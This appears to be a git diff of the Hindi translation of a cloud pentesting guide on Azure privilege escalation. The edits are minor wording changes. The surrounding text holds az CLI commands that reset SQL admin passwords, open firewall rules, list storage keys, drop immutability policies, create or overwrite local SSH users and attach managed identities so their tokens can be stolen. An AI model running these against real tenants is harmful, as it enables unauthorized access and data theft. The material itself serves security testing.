इन अनुमतियों के साथ, एक उपयोगकर्ता Azure SQL सर्वरों को अपडेट या बनाकर विशेषाधिकार वृद्धि कर सकता है और महत्वपूर्ण कॉन्फ़िगरेशन, जिसमें प्रशासनिक क्रेडेंशियल शामिल हैं, को संशोधित कर सकता है। यह अनुमति उपयोगकर्ता को सर्वर गुणों को अपडेट करने की अनुमति देती है, जिसमें SQL सर्वर प्रशासनिक पासवर्ड शामिल है, जिससे अनधिकृत पहुंच या सर्वर पर नियंत्रण प्राप्त करना संभव होता है। वे नए सर्वर भी बना सकते हैं, जो दुर्भावनापूर्ण उद्देश्यों के लिए छायादार बुनियादी ढाँचा पेश कर सकते हैं। यह विशेष रूप से महत्वपूर्ण हो जाता है जब "Microsoft Entra Authentication Only" बंद होता है, क्योंकि वे SQL-आधारित प्रमाणीकरण का लाभ उठाकर बिना किसी प्रतिबंध के पहुंच प्राप्त कर सकते हैं।
|
||||
```bash
|
||||
# Change the server password
|
||||
az sql server update \
|
||||
@@ -37,7 +37,7 @@ az sql server update \
|
||||
```
|
||||
### "Microsoft.Sql/servers/firewallRules/write"
|
||||
|
||||
एक हमलावर Azure SQL सर्वरों पर फ़ायरवॉल नियमों में हेरफेर कर सकता है ताकि अनधिकृत पहुँच की अनुमति मिल सके। इसका उपयोग विशिष्ट IP पते या पूरे IP रेंज, जिसमें सार्वजनिक IP शामिल हैं, के लिए सर्वर को खोलने के लिए किया जा सकता है, जिससे दुर्भावनापूर्ण अभिनेताओं के लिए पहुँच सक्षम होती है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि मौजूदा नेटवर्क सुरक्षा नियंत्रणों को बायपास करने, स्थिरता स्थापित करने, या संवेदनशील संसाधनों को उजागर करके वातावरण के भीतर पार्श्व आंदोलन को सुविधाजनक बनाने के लिए उपयोग की जा सकती है।
|
||||
एक हमलावर Azure SQL सर्वरों पर फ़ायरवॉल नियमों में हेरफेर कर सकता है ताकि अनधिकृत पहुँच की अनुमति मिल सके। इसका उपयोग विशिष्ट IP पते या पूरे IP रेंज, जिसमें सार्वजनिक IP शामिल हैं, के लिए सर्वर को खोलने के लिए किया जा सकता है, जिससे दुर्भावनापूर्ण तत्वों के लिए पहुँच सक्षम होती है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि मौजूदा नेटवर्क सुरक्षा नियंत्रणों को बायपास करने, स्थिरता स्थापित करने, या संवेदनशील संसाधनों को उजागर करके वातावरण के भीतर पार्श्व आंदोलन को सुविधाजनक बनाने के लिए उपयोग की जा सकती है।
|
||||
```bash
|
||||
# Create Firewall Rule
|
||||
az sql server firewall-rule create \
|
||||
@@ -55,7 +55,7 @@ az sql server firewall-rule update \
|
||||
--start-ip-address <new-start-ip-address> \
|
||||
--end-ip-address <new-end-ip-address>
|
||||
```
|
||||
अतिरिक्त रूप से, `Microsoft.Sql/servers/outboundFirewallRules/delete` अनुमति आपको एक फ़ायरवॉल नियम को हटाने की अनुमति देती है।
|
||||
इसके अलावा, `Microsoft.Sql/servers/outboundFirewallRules/delete` अनुमति आपको एक फ़ायरवॉल नियम को हटाने की अनुमति देती है।
|
||||
नोट: सार्वजनिक पहुंच सक्षम होना आवश्यक है
|
||||
|
||||
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### Microsoft.Storage/storageAccounts/listkeys/action
|
||||
|
||||
इस अनुमति के साथ एक प्रिंसिपल स्टोरेज खातों की **एक्सेस की** की सूची (और गुप्त मान) देखने में सक्षम होगा। जिससे प्रिंसिपल को स्टोरेज खातों पर अपने विशेषाधिकार बढ़ाने की अनुमति मिलती है।
|
||||
इस अनुमति के साथ एक प्रिंसिपल स्टोरेज खातों के **एक्सेस की** की सूची (और गुप्त मान) देखने में सक्षम होगा। जिससे प्रिंसिपल को स्टोरेज खातों पर अपने विशेषाधिकार बढ़ाने की अनुमति मिलती है।
|
||||
```bash
|
||||
az storage account keys list --account-name <acc-name>
|
||||
```
|
||||
@@ -26,7 +26,7 @@ az storage account keys renew --account-name <acc-name> --key key2
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/write
|
||||
|
||||
इस अनुमति के साथ एक प्रमुख एक मौजूदा स्टोरेज खाता बना या अपडेट कर सकेगा, किसी भी सेटिंग जैसे नेटवर्क नियम या नीतियों को अपडेट करते हुए।
|
||||
इस अनुमति के साथ एक प्रिंसिपल एक मौजूदा स्टोरेज खाता बना या अपडेट कर सकेगा, किसी भी सेटिंग को अपडेट करते हुए जैसे नेटवर्क नियम या नीतियाँ।
|
||||
```bash
|
||||
# e.g. set default action to allow so network restrictions are avoided
|
||||
az storage account update --name <acc-name> --default-action Allow
|
||||
@@ -38,10 +38,10 @@ az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
|
||||
|
||||
पहली अनुमति **कंटेनरों में अम्यूटेबिलिटी नीतियों को संशोधित** करने की अनुमति देती है और दूसरी उन्हें हटाने की।
|
||||
पहली अनुमति **कंटेनरों में अम्यूटेबिलिटी नीतियों को संशोधित** करने की अनुमति देती है और दूसरी उन्हें हटाने की अनुमति देती है।
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि यदि अम्यूटेबिलिटी नीति लॉक स्थिति में है, तो आप इनमें से कोई भी कार्य नहीं कर सकते।
|
||||
> ध्यान दें कि यदि एक अम्यूटेबिलिटी नीति लॉक स्थिति में है, तो आप इनमें से कोई भी कार्य नहीं कर सकते।
|
||||
```bash
|
||||
az storage container immutability-policy delete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
@@ -54,23 +54,23 @@ az storage container immutability-policy update \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--period <NEW_RETENTION_PERIOD_IN_DAYS>
|
||||
```
|
||||
## फ़ाइल शेयर विशिष्ट प्रिवेस्क
|
||||
## फ़ाइल शेयर विशेष प्रिवेस्क
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
|
||||
|
||||
यह एक उपयोगकर्ता को इस अनुमति के साथ साझा फ़ाइल प्रणाली के अंदर फ़ाइलों का स्वामित्व लेने की अनुमति देनी चाहिए।
|
||||
यह एक उपयोगकर्ता को इस अनुमति के साथ साझा फ़ाइल सिस्टम के अंदर फ़ाइलों का स्वामित्व लेने की अनुमति देनी चाहिए।
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
|
||||
|
||||
यह एक उपयोगकर्ता को इस अनुमति के साथ साझा फ़ाइल प्रणाली के अंदर फ़ाइलों की अनुमतियों को संशोधित करने की अनुमति देनी चाहिए।
|
||||
यह एक उपयोगकर्ता को इस अनुमति के साथ साझा फ़ाइल सिस्टम के अंदर फ़ाइलों की अनुमतियों को संशोधित करने की अनुमति देनी चाहिए।
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
|
||||
|
||||
यह एक उपयोगकर्ता को इस अनुमति के साथ फ़ाइल प्रणाली के अंदर सुपरयूज़र के रूप में क्रियाएँ करने की अनुमति देनी चाहिए।
|
||||
यह एक उपयोगकर्ता को इस अनुमति के साथ फ़ाइल सिस्टम के अंदर सुपरयूज़र के रूप में क्रियाएँ करने की अनुमति देनी चाहिए।
|
||||
|
||||
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
|
||||
|
||||
इस अनुमति के साथ, एक हमलावर एक Azure Storage खाते के लिए एक नया स्थानीय उपयोगकर्ता बना और अपडेट कर सकता है (यदि उसके पास `Microsoft.Storage/storageAccounts/localusers/read` अनुमति है), जिसमें उपयोगकर्ता की अनुमतियाँ और होम निर्देशिका निर्दिष्ट करना शामिल है। यह अनुमति महत्वपूर्ण है क्योंकि यह हमलावर को विशिष्ट अनुमतियों जैसे पढ़ने (r), लिखने (w), हटाने (d), और सूची (l) आदि के साथ एक स्टोरेज खाते को स्वयं को सौंपने की अनुमति देती है। इसके अतिरिक्त, जो प्रमाणीकरण विधियाँ इसका उपयोग करती हैं, वे Azure-जनित पासवर्ड और SSH कुंजी जोड़े हो सकती हैं। यह जांच नहीं की जाती है कि क्या उपयोगकर्ता पहले से मौजूद है, इसलिए आप पहले से मौजूद अन्य उपयोगकर्ताओं को ओवरराइट कर सकते हैं। हमलावर अपनी विशेषाधिकारों को बढ़ा सकता है और स्टोरेज खाते तक SSH पहुंच प्राप्त कर सकता है, संभावित रूप से संवेदनशील डेटा को उजागर या समझौता कर सकता है।
|
||||
इस अनुमति के साथ, एक हमलावर एक नए स्थानीय उपयोगकर्ता को Azure Storage खाते के लिए बना और अपडेट कर सकता है (यदि उसके पास `Microsoft.Storage/storageAccounts/localusers/read` अनुमति है), जिसमें उपयोगकर्ता की अनुमतियाँ और होम डायरेक्टरी निर्दिष्ट करना शामिल है। यह अनुमति महत्वपूर्ण है क्योंकि यह हमलावर को विशिष्ट अनुमतियों जैसे पढ़ने (r), लिखने (w), हटाने (d), और सूची (l) के साथ एक स्टोरेज खाते को स्वयं को सौंपने की अनुमति देती है। इसके अतिरिक्त, जो प्रमाणीकरण विधियाँ इसका उपयोग करती हैं, वे Azure-जनित पासवर्ड और SSH कुंजी जोड़े हो सकती हैं। यह जांच नहीं की जाती है कि क्या कोई उपयोगकर्ता पहले से मौजूद है, इसलिए आप पहले से मौजूद अन्य उपयोगकर्ताओं को ओवरराइट कर सकते हैं। हमलावर अपनी विशेषताओं को बढ़ा सकता है और स्टोरेज खाते तक SSH पहुंच प्राप्त कर सकता है, संभावित रूप से संवेदनशील डेटा को उजागर या समझौता कर सकता है।
|
||||
```bash
|
||||
az storage account local-user create \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
@@ -82,7 +82,7 @@ az storage account local-user create \
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
|
||||
|
||||
इस अनुमति के साथ, एक हमलावर Azure Storage खाते में एक स्थानीय उपयोगकर्ता के लिए पासवर्ड को फिर से उत्पन्न कर सकता है। यह हमलावर को उपयोगकर्ता के लिए नए प्रमाणीकरण क्रेडेंशियल (जैसे SSH या SFTP पासवर्ड) प्राप्त करने की क्षमता देता है। इन क्रेडेंशियल का लाभ उठाकर, हमलावर स्टोरेज खाते में अनधिकृत पहुंच प्राप्त कर सकता है, फ़ाइल ट्रांसफर कर सकता है, या स्टोरेज कंटेनरों के भीतर डेटा में हेरफेर कर सकता है। इससे डेटा लीक, भ्रष्टाचार, या स्टोरेज खाते की सामग्री में दुर्भावनापूर्ण संशोधन हो सकता है।
|
||||
इस अनुमति के साथ, एक हमलावर Azure Storage खाते में एक स्थानीय उपयोगकर्ता के लिए पासवर्ड को फिर से उत्पन्न कर सकता है। यह हमलावर को उपयोगकर्ता के लिए नए प्रमाणीकरण क्रेडेंशियल (जैसे SSH या SFTP पासवर्ड) प्राप्त करने की क्षमता प्रदान करता है। इन क्रेडेंशियल का लाभ उठाकर, हमलावर स्टोरेज खाते में अनधिकृत पहुंच प्राप्त कर सकता है, फ़ाइल ट्रांसफर कर सकता है, या स्टोरेज कंटेनरों के भीतर डेटा में हेरफेर कर सकता है। इससे डेटा लीक, भ्रष्टाचार, या स्टोरेज खाते की सामग्री में दुर्भावनापूर्ण संशोधन हो सकता है।
|
||||
```bash
|
||||
az storage account local-user regenerate-password \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
@@ -121,7 +121,7 @@ az storage share-rm restore \
|
||||
```
|
||||
## अन्य दिलचस्प दिखने वाली अनुमतियाँ (TODO)
|
||||
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: ब्लॉब का स्वामित्व बदलता है
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: ब्लॉब की स्वामित्व को बदलता है
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: ब्लॉब की अनुमतियों को संशोधित करता है
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: ब्लॉब कमांड का परिणाम लौटाता है
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action
|
||||
|
||||
@@ -13,7 +13,7 @@ Azure वर्चुअल मशीनों और नेटवर्क क
|
||||
### **`Microsoft.Compute/virtualMachines/extensions/write`**
|
||||
|
||||
यह अनुमति वर्चुअल मशीनों में एक्सटेंशन निष्पादित करने की अनुमति देती है जो **उन पर मनमाना कोड निष्पादित करने** की अनुमति देती है।\
|
||||
उदाहरण के लिए कस्टम एक्सटेंशनों का दुरुपयोग करके VM में मनमाने कमांड निष्पादित करना:
|
||||
एक उदाहरण कस्टम एक्सटेंशनों का दुरुपयोग करके VM में मनमाने कमांड निष्पादित करना:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
@@ -167,7 +167,7 @@ Set-AzVMDscExtension `
|
||||
|
||||
अंतिम 2 अनुमतियों को टेनेट के साथ एप्लिकेशन साझा करके टाला जा सकता है।
|
||||
|
||||
मनमाने आदेश निष्पादित करने के लिए शोषण का उदाहरण:
|
||||
मनमाने आदेशों को निष्पादित करने के लिए शोषण का उदाहरण:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
@@ -251,7 +251,7 @@ az vm application set \
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/runCommand/action`
|
||||
|
||||
यह Azure द्वारा VMs में **मनमाने कमांड निष्पादित करने के लिए प्रदान किया गया सबसे बुनियादी तंत्र है:**
|
||||
यह Azure द्वारा VMs में **मनमाने कमांड निष्पादित करने** के लिए प्रदान किया गया सबसे बुनियादी तंत्र है:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
@@ -327,7 +327,7 @@ az vm create \
|
||||
```
|
||||
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
ये अनुमतियाँ **एक VM को नए प्रबंधित पहचान सौंपने** के लिए पर्याप्त हैं। ध्यान दें कि एक VM के पास कई प्रबंधित पहचान हो सकती हैं। इसमें **सिस्टम द्वारा सौंपा गया एक** और **कई उपयोगकर्ता द्वारा प्रबंधित पहचान** हो सकती हैं।\
|
||||
ये अनुमतियाँ **एक VM को नए प्रबंधित पहचान सौंपने** के लिए पर्याप्त हैं। ध्यान दें कि एक VM के पास कई प्रबंधित पहचान हो सकती हैं। इसके पास **सिस्टम द्वारा सौंपा गया एक** और **कई उपयोगकर्ता द्वारा प्रबंधित पहचान** हो सकती हैं।\
|
||||
फिर, मेटाडेटा सेवा से प्रत्येक के लिए टोकन उत्पन्न करना संभव है।
|
||||
```bash
|
||||
# Get currently assigned managed identities to the VM
|
||||
@@ -343,7 +343,7 @@ az vm identity assign \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
|
||||
```
|
||||
फिर हमलावर को **VM को किसी तरह से समझौता करना होगा** ताकि वह असाइन किए गए प्रबंधित पहचान से टोकन चुरा सके। **अधिक जानकारी के लिए देखें**:
|
||||
फिर हमलावर को **VM को किसी तरह से समझौता करना होगा** ताकि वह असाइन किए गए प्रबंधित पहचान से टोकन चुरा सके। **अधिक जानकारी देखें**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
|
||||
Reference in New Issue
Block a user